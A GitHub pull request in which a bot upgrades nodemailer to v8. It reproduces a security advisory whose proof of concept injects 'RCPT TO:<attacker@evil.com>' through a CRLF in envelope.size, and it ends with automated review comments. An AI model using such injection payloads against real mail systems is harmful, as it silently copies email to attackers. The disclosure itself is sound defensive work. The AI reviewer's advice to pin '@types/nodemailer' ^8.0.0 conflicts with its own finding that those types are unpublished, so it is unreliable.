Skip to content

fix(deps): update dependency nodemailer to v8 [security]#933

Open
ham-renovate wants to merge 1 commit intomainfrom
renovate/npm-nodemailer-vulnerability
Open

fix(deps): update dependency nodemailer to v8 [security]#933
ham-renovate wants to merge 1 commit intomainfrom
renovate/npm-nodemailer-vulnerability

Conversation

@ham-renovate
Copy link
Copy Markdown
Collaborator

@ham-renovate ham-renovate commented Mar 27, 2026

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) ^7.0.0^8.0.0 age confidence

GitHub Vulnerability Alerts

GHSA-c7w3-x93f-qmm8

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

  • Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
  • DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail().
While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<sender@example.com> SIZE=100
C: RCPT TO:<attacker@evil.com>
C: RCPT TO:<recipient@example.com>
C: DATA
...
C: .
C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

  • Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
  • Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
  • Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.


Release Notes

nodemailer/nodemailer (nodemailer)

v8.0.4

Compare Source

Bug Fixes
  • sanitize envelope size to prevent SMTP command injection (2d7b971)

v8.0.3

Compare Source

Bug Fixes
  • clean up addressparser and fix group name fallback producing undefined (9d55877)
  • fix cookie bugs, remove dead code, and improve hot-path efficiency (e8c8b92)
  • refactor smtp-connection for clarity and add Node.js 6 syntax compat test (c5b48ea)
  • remove familySupportCache that broke DNS resolution tests (c803d90)

v8.0.2

Compare Source

Bug Fixes
  • merge fragmented display names with unquoted commas in addressparser (fe27f7f)

v8.0.1

Compare Source

Bug Fixes
  • absorb TLS errors during socket teardown (7f8dde4)
  • absorb TLS errors during socket teardown (381f628)
  • Add Gmail Workspace service configuration (#​1787) (dc97ede)

v8.0.0

Compare Source

⚠ BREAKING CHANGES
  • Error code 'NoAuth' renamed to 'ENOAUTH'
Bug Fixes
  • add connection fallback to alternative DNS addresses (e726d6f)
  • centralize and standardize error codes (45062ce)
  • harden DNS fallback against race conditions and cleanup issues (4fa3c63)
  • improve socket cleanup to prevent potential memory leaks (6069fdc)

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@coderabbitai
Copy link
Copy Markdown
Contributor

coderabbitai bot commented Mar 27, 2026

📝 Walkthrough

Walkthrough

Updated the nodemailer runtime dependency version from ^7.0.0 to ^8.0.0 in the functions package configuration. No other dependencies, scripts, or configuration fields were modified.

Changes

Cohort / File(s) Summary
Dependency Version Upgrade
platforms/blabsy/client/functions/package.json
Updated nodemailer dependency from ^7.0.0 to ^8.0.0.

Estimated code review effort

🎯 1 (Trivial) | ⏱️ ~2 minutes

Poem

🐰 A version bump so clean and bright,
Nodemailer now v8 in sight!
One little change, so swift and small,
Dependencies updated, that's all!

🚥 Pre-merge checks | ✅ 2 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Description check ⚠️ Warning The PR description is comprehensive with detailed vulnerability information and release notes, but does not follow the required repository template structure with mandatory sections. Restructure the description to match the required template: add 'Issue Number', explicitly state 'Type of change' (e.g., 'Fix'), describe testing approach, and include the change checklist with checkmarks.
✅ Passed checks (2 passed)
Check name Status Explanation
Title check ✅ Passed The title clearly and concisely identifies the main change: updating the nodemailer dependency to v8 to address a security vulnerability.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch renovate/npm-nodemailer-vulnerability

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@platforms/blabsy/client/functions/package.json`:
- Line 19: Update the mismatched types by changing the dev dependency
"@types/nodemailer" to a v8.x-compatible version to match "nodemailer": "^8.0.0"
in package.json (update the "@types/nodemailer" entry to "^8.0.0");
alternatively, as a temporary workaround edit tsconfig.json to set
"skipLibCheck": true to avoid the type conflict until the official v8 type
definitions land. Ensure you update the package.json dependency key
"@types/nodemailer" and run install to verify types resolve correctly.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 4e69c808-7634-4fe4-a9b9-4c69a4b84af9

📥 Commits

Reviewing files that changed from the base of the PR and between d2efd8b and 73eb715.

⛔ Files ignored due to path filters (1)
  • platforms/blabsy/client/functions/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (1)
  • platforms/blabsy/client/functions/package.json

"firebase-admin": "^10.2.0",
"firebase-functions": "^4.0.1",
"nodemailer": "^7.0.0"
"nodemailer": "^8.0.0"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Description: Search for nodemailer usage patterns that may be affected by v8 breaking changes

echo "=== Checking createTransport usage ==="
rg -n -C3 'createTransport' --type=ts --glob='!node_modules/**'

echo -e "\n=== Checking for pool transport usage ==="
rg -n -C3 'pool.*:.*true' --type=ts --glob='!node_modules/**'

echo -e "\n=== Checking for direct transport usage ==="
rg -n -C3 'direct.*:.*true' --type=ts --glob='!node_modules/**'

echo -e "\n=== Checking for custom envelope properties ==="
rg -n -C3 'envelope\s*:' --type=ts --glob='!node_modules/**'

echo -e "\n=== Checking for stream transport usage ==="
rg -n -C3 'streamTransport' --type=ts --glob='!node_modules/**'

echo -e "\n=== Checking for XOAuth2 usage ==="
rg -n -C3 'xoauth2' --type=ts --glob='!node_modules/**'

Repository: MetaState-Prototype-Project/prototype

Length of output: 7943


🌐 Web query:

What are the breaking changes in nodemailer v8 and is @types/nodemailer v6.4.6 compatible with nodemailer v8.0.0?

💡 Result:

The breaking changes in Nodemailer v8.0.0 are minimal: the error code 'NoAuth' has been renamed to 'ENOAUTH'. This is the only explicitly marked breaking change in the official changelog and release notes. Other changes in v8 are primarily bug fixes, such as improved socket cleanup, DNS fallback hardening, centralized error codes, and connection fallbacks. @types/nodemailer v6.4.6 is not compatible with Nodemailer v8.0.0. The v6.x types predate Nodemailer v8 (with v6.4.x last updated around 2024), and a pull request to update the types specifically for v8.0.0 remains open as of March 3, 2026 (PR #74624 in DefinitelyTyped). While newer type versions like v7.x exist for Nodemailer v7, they do not cover v8 changes. Users should use @types/nodemailer@latest (currently ~6.4.x or v7.x branches) with potential type mismatches or wait for the v8 types PR to merge, or use skipLibCheck: true in tsconfig.json as a temporary workaround.

Citations:


Update @types/nodemailer to v8.x for type compatibility.

The nodemailer v8.0.0 upgrade correctly addresses a critical SMTP command injection vulnerability. The only breaking change in v8 is a renaming of the error code 'NoAuth' to 'ENOAUTH', which doesn't affect the codebase since it only uses basic createTransport() with Gmail service.

However, @types/nodemailer v6.4.6 is incompatible with nodemailer v8.0.0. Update line 22 to "@types/nodemailer": "^8.0.0" or use skipLibCheck: true in tsconfig.json as a temporary workaround while the type definitions PR merges.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@platforms/blabsy/client/functions/package.json` at line 19, Update the
mismatched types by changing the dev dependency "@types/nodemailer" to a
v8.x-compatible version to match "nodemailer": "^8.0.0" in package.json (update
the "@types/nodemailer" entry to "^8.0.0"); alternatively, as a temporary
workaround edit tsconfig.json to set "skipLibCheck": true to avoid the type
conflict until the official v8 type definitions land. Ensure you update the
package.json dependency key "@types/nodemailer" and run install to verify types
resolve correctly.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant